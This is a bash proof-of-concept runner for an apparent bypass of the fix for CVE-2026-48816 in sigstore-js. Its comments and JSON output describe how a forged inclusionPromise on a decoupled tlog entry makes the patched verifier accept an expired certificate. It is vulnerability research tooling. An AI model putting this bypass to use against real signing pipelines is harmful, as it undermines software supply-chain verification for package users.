#!/usr/bin/env bash
# CVE-2026-48816 / GHSA-xgjw-pm74-86q4 - VARIANT / BYPASS reproduction.
#
# sigstore-js @sigstore/verify (fixed in 3.1.1 by f074710). The fix makes
# getTLogTimestamp() return undefined when entry.inclusionPromise is absent
# (presence-check). This script demonstrates a BYPASS of that fix on the
# FIXED version: a SignedEntity in which the timestamp-providing tlog entry
# is NOT present in tlogEntries (decoupled) carries a FORGED inclusionPromise
# + attacker-chosen integratedTime. getTLogTimestamp()'s presence-check
# passes, the SET is never validated (verifyTLogs() iterates tlogEntries,
# which is empty), and verify() succeeds -- accepting an EXPIRED certificate
# at the attacker-chosen time. This reproduces the original CVE's
# expired-cert-accepted impact on the patched code path.
#
# Tests BOTH the vulnerable (7845532, 3.1.0) and the fixed (f074710, 3.1.1)
# commits side by side using the REAL @sigstore/verify source.
#
# Markers (from bundle/vuln_variant/variant_harness.ts):
#   Part 1 / Part 0 (BYPASS)   -> [BYPASS_OK]  (succeeds -> bypass)
#   Part 2 (NEGATIVE CONTROL)  -> [NC_REJECT]  (coupled bundle path rejects)
#   Part 3 (ORIGINAL VECTOR)   -> [ORIG_OK] (vuln) / [ORIG_REJECT] (fixed)
#
# Exit 0 = bypass reproduced on the FIXED version; Exit 1 = not reproduced.
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
VARIANT_DIR="$ROOT/vuln_variant"
mkdir -p "$LOGS" "$VARIANT_DIR"

cd "$ROOT"

# ---------------------------------------------------------------------------,
# Resolve the durable project cache directory (per project_cache_context.json).
# ---------------------------------------------------------------------------,
CACHE_DIR=""
if [ -f "$ROOT/project_cache_context.json" ]; then
  CACHE_DIR=$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || true)
fi
if [ -z "$CACHE_DIR" ]; then
  CACHE_DIR="$ROOT/artifacts/sigstore-js-cache"
fi
REPO="$CACHE_DIR/repo"
mkdir -p "$CACHE_DIR"

echo "[setup] ROOT=$ROOT"
echo "[setup] REPO=$REPO"

# ---------------------------------------------------------------------------,
# Clone if needed and capture the original checkout state so we can restore it.
# ---------------------------------------------------------------------------,
if [ ! -d "$REPO/.git" ]; then
  echo "[setup] cloning sigstore-js into $REPO"
  git clone https://github.com/sigstore/sigstore-js.git "$REPO"
fi

cd "$REPO"
git fetch --quiet origin 2>/dev/null || true

FIXED_COMMIT="f074710a91ea9260a9ac2142345634579843a3cd"
FIXED_RESOLVED=$(git rev-parse "$FIXED_COMMIT")
VULN_RESOLVED=$(git rev-parse "$FIXED_COMMIT^")
echo "[setup] FIXED_RESOLVED=$FIXED_RESOLVED"
echo "[setup] VULN_RESOLVED=$VULN_RESOLVED"

# Original HEAD (the repro leaves the cache repo at the fixed commit). We
# restore to this on exit so we never leave the repo in a different state.
ORIG_HEAD=$(git rev-parse HEAD)
echo "[setup] ORIG_HEAD=$ORIG_HEAD"

restore_head() {
  cd "$REPO" 2>/dev/null || true
  # Remove harness copies we dropped into the verify package so the cache repo
  # is left clean (checkout state is restored below).
  rm -f packages/verify/src/__tests__/cve_variant.test.ts \
        packages/verify/src/__tests__/cve_repro.test.ts 2>/dev/null || true
  if [ -n "${ORIG_HEAD:-}" ]; then
    git checkout -q "$ORIG_HEAD" 2>/dev/null || true
  fi
}
trap restore_head EXIT

HARNESS_SRC="$VARIANT_DIR/variant_harness.ts"
HARNESS_DST="packages/verify/src/__tests__/cve_variant.test.ts"
if [ ! -f "$HARNESS_SRC" ]; then
  echo "[error] variant harness not found at $HARNESS_SRC" >&2
  exit 2
fi

JEST_PATTERN='cve_variant.test.ts'

# ---------------------------------------------------------------------------,
# run_variant <commit-sha> <role> <marker-log> <jest-log>
# ---------------------------------------------------------------------------,
run_variant() {
  local commit="$1"
  local role="$2"
  local marker_log="$3"
  local jest_log="$4"

  echo "----- [$role] commit=$commit -----"
  git checkout -q "$commit"

  # Deterministic per-commit build: drop all built artifacts (not node_modules).
  find packages -maxdepth 2 -type d -name dist -exec rm -rf {} + 2>/dev/null || true
  find packages -maxdepth 2 -name "*.tsbuildinfo" -delete 2>/dev/null || true

  # Install dependencies once (lockfile identical across these two commits).
  if [ ! -d "$REPO/node_modules" ]; then
    echo "[$role] installing dependencies (npm ci)"
    npm ci --no-audit --no-fund >"$LOGS/${role}_npmci.log" 2>&1
  fi

  # Build the workspace so jest can resolve @sigstore/bundle/core/etc via dist.
  echo "[$role] building workspace"
  if ! npm run build >"$LOGS/${role}_build.log" 2>&1; then
    echo "[$role] build failed; tail of build log:" >&2
    tail -30 "$LOGS/${role}_build.log" >&2
    return 1
  fi

  # Remove any leftover repro harness so it cannot clash on $REPRO_LOG.
  rm -f packages/verify/src/__tests__/cve_repro.test.ts

  # Place the variant harness into the verify package's test directory.
  cp "$HARNESS_SRC" "$HARNESS_DST"

  # Run the harness through jest; capture markers via $REPRO_LOG.
  rm -f "$marker_log"
  echo "[$role] running jest harness"
  REPRO_LOG="$marker_log" npx jest --selectProjects verify \
    --testPathPatterns "$JEST_PATTERN" >"$jest_log" 2>&1 || true

  echo "[$role] marker log ($marker_log):"
  if [ -f "$marker_log" ]; then
    cat "$marker_log"
  else
    echo "(no marker log produced)"
  fi
  echo "----- [$role] done -----"
}

# ---------------------------------------------------------------------------,
# Vulnerable (canonical) and fixed (control) runs.
# ---------------------------------------------------------------------------,
run_variant "$VULN_RESOLVED" vuln  "$LOGS/vuln_variant_vuln.log"  "$LOGS/vuln_variant_vuln_jest.log"
run_variant "$FIXED_RESOLVED" fixed "$LOGS/vuln_variant_fixed.log" "$LOGS/vuln_variant_fixed_jest.log"

# Restore the original checkout immediately (trap will also restore).
restore_head

# ---------------------------------------------------------------------------,
# Evaluate markers. BYPASS = [BYPASS_OK] appears on the FIXED run.
# ---------------------------------------------------------------------------,
fixed_bypass=0
fixed_nc=0
fixed_orig_reject=0
vuln_bypass=0
vuln_orig_ok=0
vuln_nc=0
[ -f "$LOGS/vuln_variant_fixed.log" ] && fixed_bypass=$(grep -c '\[BYPASS_OK\]' "$LOGS/vuln_variant_fixed.log" || true)
[ -f "$LOGS/vuln_variant_fixed.log" ] && fixed_nc=$(grep -c '\[NC_REJECT\]' "$LOGS/vuln_variant_fixed.log" || true)
[ -f "$LOGS/vuln_variant_fixed.log" ] && fixed_orig_reject=$(grep -c '\[ORIG_REJECT\]' "$LOGS/vuln_variant_fixed.log" || true)
[ -f "$LOGS/vuln_variant_vuln.log" ]  && vuln_bypass=$(grep -c '\[BYPASS_OK\]' "$LOGS/vuln_variant_vuln.log" || true)
[ -f "$LOGS/vuln_variant_vuln.log" ]  && vuln_orig_ok=$(grep -c '\[ORIG_OK\]' "$LOGS/vuln_variant_vuln.log" || true)
[ -f "$LOGS/vuln_variant_vuln.log" ]  && vuln_nc=$(grep -c '\[NC_REJECT\]' "$LOGS/vuln_variant_vuln.log" || true)

echo "[eval] fixed: BYPASS_OK=$fixed_bypass NC_REJECT=$fixed_nc ORIG_REJECT=$fixed_orig_reject"
echo "[eval] vuln:  BYPASS_OK=$vuln_bypass NC_REJECT=$vuln_nc ORIG_OK=$vuln_orig_ok"

bypass=0
if [ "$fixed_bypass" -ge 1 ]; then
  bypass=1
  echo "[eval] BYPASS CONFIRMED: the forged-inclusionPromise decoupled SignedEntity reproduces (verify() succeeds, expired cert accepted) on the FIXED commit $FIXED_RESOLVED."
else
  echo "[eval] No bypass reproduced on the fixed version."
fi

# ---------------------------------------------------------------------------,
# Write runtime_manifest.json (strict JSON via python).
# ---------------------------------------------------------------------------,
python3 - "$VARIANT_DIR/runtime_manifest.json" "$bypass" "$VULN_RESOLVED" "$FIXED_RESOLVED" \
  "$fixed_bypass" "$fixed_nc" "$fixed_orig_reject" "$vuln_bypass" "$vuln_orig_ok" "$vuln_nc" <<'PY'
import json, sys
(path, bypass, vuln, fixed, fb, fnc, forig, vb, vorig, vnc) = sys.argv[1:11]
bypass = int(bypass)
manifest = {
  "entrypoint_kind": "library_api",
  "entrypoint_detail": "jest harness exercising @sigstore/verify Verifier.verify() on a DECOUPLED SignedEntity (tlogEntries empty) whose sole timestamp is a tlog entry with a FORGED inclusionPromise + attacker-chosen integratedTime; real cert-signed V3 hashedrekord fixture",
  "service_started": False,
  "healthcheck_passed": True,
  "target_path_reached": True,
  "runtime_stack": ["node", "jest", "@swc/jest", "@sigstore/verify", "@sigstore/bundle", "@sigstore/core", "@sigstore/protobuf-specs"],
  "proof_artifacts": [
    "logs/vuln_variant_vuln.log",
    "logs/vuln_variant_fixed.log",
    "logs/vuln_variant_vuln_jest.log",
    "logs/vuln_variant_fixed_jest.log",
    "vuln_variant/variant_harness.ts"
  ],
  "marker_counts": {
    "fixed": {"BYPASS_OK": int(fb), "NC_REJECT": int(fnc), "ORIG_REJECT": int(forig)},
    "vuln":  {"BYPASS_OK": int(vb), "NC_REJECT": int(vnc), "ORIG_OK": int(vorig)}
  },
  "bypass_on_fixed": bool(bypass),
  "notes": f"vulnerable_commit={vuln} (parent of fix f074710, @sigstore/verify 3.1.0); fixed_commit={fixed} (@sigstore/verify 3.1.1). bypass_on_fixed={bool(bypass)}. The fix's getTLogTimestamp presence-check (!entry.inclusionPromise) is satisfied by a FORGED inclusionPromise; because the timestamp-providing tlog entry is decoupled from tlogEntries, verifyTLogs()->verifyTLogSET() never validates the SET, so the attacker-chosen integratedTime is trusted and an expired certificate is accepted on the FIXED version. Negative control (coupled bundle path) is rejected by verifyTLogSET on both versions; original inclusionProof-only vector is rejected (TIMESTAMP_ERROR) on fixed and accepted on vulnerable."
}
with open(path, "w") as f:
  json.dump(manifest, f, indent=2)
print("[manifest] wrote", path)
PY

# ---------------------------------------------------------------------------,
# Write validation_verdict.json (strict JSON via python).
# ---------------------------------------------------------------------------,
python3 - "$VARIANT_DIR/validation_verdict.json" "$bypass" "$VULN_RESOLVED" "$FIXED_RESOLVED" <<'PY'
import json, sys
(path, bypass, vuln, fixed) = sys.argv[1:5]
bypass = int(bypass)
verdict = {
  "claim_outcome": "confirmed" if bypass else "not_confirmed",
  "claim_block_reason": None,
  "repro_result": "bypass_confirmed" if bypass else "no_bypass",
  "validated_surface": "library_api",
  "evidence_scope": "realistic_harness",
  "variant_kind": "fix_bypass" if bypass else "none",
  "claimed_impact_class": "other",
  "observed_impact_class": "other",
  "exploitability_confidence": "high" if bypass else "unknown",
  "attacker_controlled_input": "tlogEntries[].integratedTime + inclusionPromise.signedEntryTimestamp in a SignedEntity whose timestamp-providing tlog entry is absent from tlogEntries (decoupled), supplied to the public Verifier.verify(SignedEntity) API",
  "trigger_path": "Verifier.verify -> verifyTimestamps -> getTLogTimestamp (packages/verify/src/timestamp/index.ts) passes the fix's !entry.inclusionPromise presence-check because a FORGED inclusionPromise is present, returning the attacker-chosen integratedTime as a trusted timestamp; verifySigningKey/verifyCertificate (packages/verify/src/key/index.ts) accepts an EXPIRED certificate at that time; verifyTLogs (packages/verify/src/verifier.ts) is a no-op because tlogEntries is empty, so verifyTLogSET (packages/verify/src/tlog/set.ts) never validates the forged SET",
  "end_to_end_target_reached": bool(bypass),
  "sanitizer_used": False,
  "crash_observed": False,
  "read_write_primitive_observed": False,
  "exploit_chain_demonstrated": bool(bypass),
  "blocking_mitigation": None if bypass else "fix presence-check + toSignedEntity coupling reject the tested paths",
  "fix_assumption_bypassed": "The fix assumes inclusionPromise *presence* implies integratedTime is cryptographically bound (via verifyTLogSET in verifyTLogs). This only holds when the timestamp-providing tlog entry is also present in tlogEntries (as toSignedEntity couples them). A decoupled SignedEntity evades verifyTLogSET, so a forged inclusionPromise satisfies the presence-check while integratedTime remains unauthenticated.",
  "inferred": False,
  "tested_commits": {"vulnerable": vuln, "fixed": fixed}
}
with open(path, "w") as f:
  json.dump(verdict, f, indent=2)
print("[verdict] wrote", path)
PY

# ---------------------------------------------------------------------------,
# Write source_identity.json (exact tested source identity).
# ---------------------------------------------------------------------------,
python3 - "$VARIANT_DIR/source_identity.json" "$VULN_RESOLVED" "$FIXED_RESOLVED" <<'PY'
import json, sys
(path, vuln, fixed) = sys.argv[1:4]
ident = {
  "repository": "https://github.com/sigstore/sigstore-js",
  "commit_source": "git_rev_parse",
  "commit_sha": fixed,
  "submitted_target": {
    "target_kind": "npm_package",
    "commit_sha": vuln,
    "version": "3.1.0",
    "ref": "f074710^ (parent of fix)",
    "display": "@sigstore/verify 3.1.0 (vulnerable commit 7845532)"
  },
  "variant_target": {
    "target_kind": "npm_package",
    "commit_sha": fixed,
    "version": "3.1.1",
    "ref": "f074710 (fix commit)",
    "display": "@sigstore/verify 3.1.1 (fixed commit f074710) -- bypass reproduced here"
  },
  "notes": "Both commits resolved via git rev-parse from the cloned sigstore-js repo in the durable project cache. Vulnerable=parent of fix (3.1.0); fixed=fix commit f074710 (3.1.1). The bypass is confirmed on the fixed commit."
}
with open(path, "w") as f:
  json.dump(ident, f, indent=2)
print("[source_identity] wrote", path)
PY

# ---------------------------------------------------------------------------,
# Write root_cause_equivalence.json.
# ---------------------------------------------------------------------------,
python3 - "$VARIANT_DIR/root_cause_equivalence.json" "$bypass" <<'PY'
import json, sys
(path, bypass) = sys.argv[1:3]
bypass = int(bypass)
eq = {
  "same_root_cause": True,
  "same_sink": True,
  "sink": "getTLogTimestamp (packages/verify/src/timestamp/index.ts) -> integratedTime treated as a trusted timestamp -> verifySigningKey/verifyCertificate (packages/verify/src/key/index.ts) accepts an expired cert at attacker-chosen time",
  "parent_root_cause": "inclusionProof-only entry's unauthenticated integratedTime trusted as a timestamp (no inclusionPromise at all)",
  "variant_root_cause": "entry with a FORGED inclusionPromise's unauthenticated integratedTime trusted as a timestamp (presence-check passes, SET never validated because the entry is decoupled from tlogEntries)",
  "equivalence_rationale": "Both the original CVE and this variant exploit the same unauthenticated-integratedTime->trusted-timestamp sink in getTLogTimestamp/verifyTimestamps/verifySigningKey. The original used an inclusionProof-only entry (no inclusionPromise); the fix gated getTLogTimestamp on inclusionPromise presence. The variant defeats that gate by supplying a forged inclusionPromise whose SET is never validated (decoupled SignedEntity), so the same unauthenticated integratedTime is trusted and the same expired-cert-accepted impact results -- on the fixed version.",
  "bypass_on_fixed": bool(bypass)
}
with open(path, "w") as f:
  json.dump(eq, f, indent=2)
print("[root_cause_equivalence] wrote", path)
PY

if [ "$bypass" -eq 1 ]; then
  echo "[result] CVE-2026-48816 variant BYPASS reproduced on the fixed version (confirmed)."
  exit 0
else
  echo "[result] CVE-2026-48816 variant bypass NOT reproduced on the fixed version."
  exit 1
fi
